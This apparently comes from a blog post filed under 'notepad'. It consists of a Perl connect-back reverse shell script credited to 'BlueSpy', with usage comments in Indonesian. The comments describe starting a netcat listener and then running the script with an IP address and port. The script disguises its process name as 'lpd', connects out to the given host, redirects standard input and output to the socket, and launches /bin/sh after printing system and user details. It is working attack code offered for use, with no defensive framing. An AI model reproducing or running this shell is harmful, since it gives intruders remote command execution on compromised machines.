Filed under: notepad
#!/usr/bin/perl
# Penggunaan:
# 1) Ketik perintah di shell kamu untuk menerima. contoh: ./nc -l -v -p 8999
# 2) Remote Port. perl back.txt (ipshell) (port). contoh: perl back.txt 192.168.0.1 8999
use Socket;
$lihat=”Connect Back By: BlueSpy\n\n”;
$cmd= “lpd”;
$system= ‘echo “`uname -a`”;echo “`id`”;/bin/sh’;
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die(“Error: $!\n”);
$paddr=sockaddr_in($port, $iaddr) || die(“Error: $!\n”);
$proto=getprotobyname(‘tcp’);
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(“Error: $!\n”);
connect(SOCKET, $paddr) || die(“Error: $!\n”);
open(STDIN, “>&SOCKET”);
open(STDOUT, “>&SOCKET”);
open(STDERR, “>&SOCKET”);
print STDOUT $lihat;
system($system);
close(STDIN);
close(STDOUT);
close(STDERR)
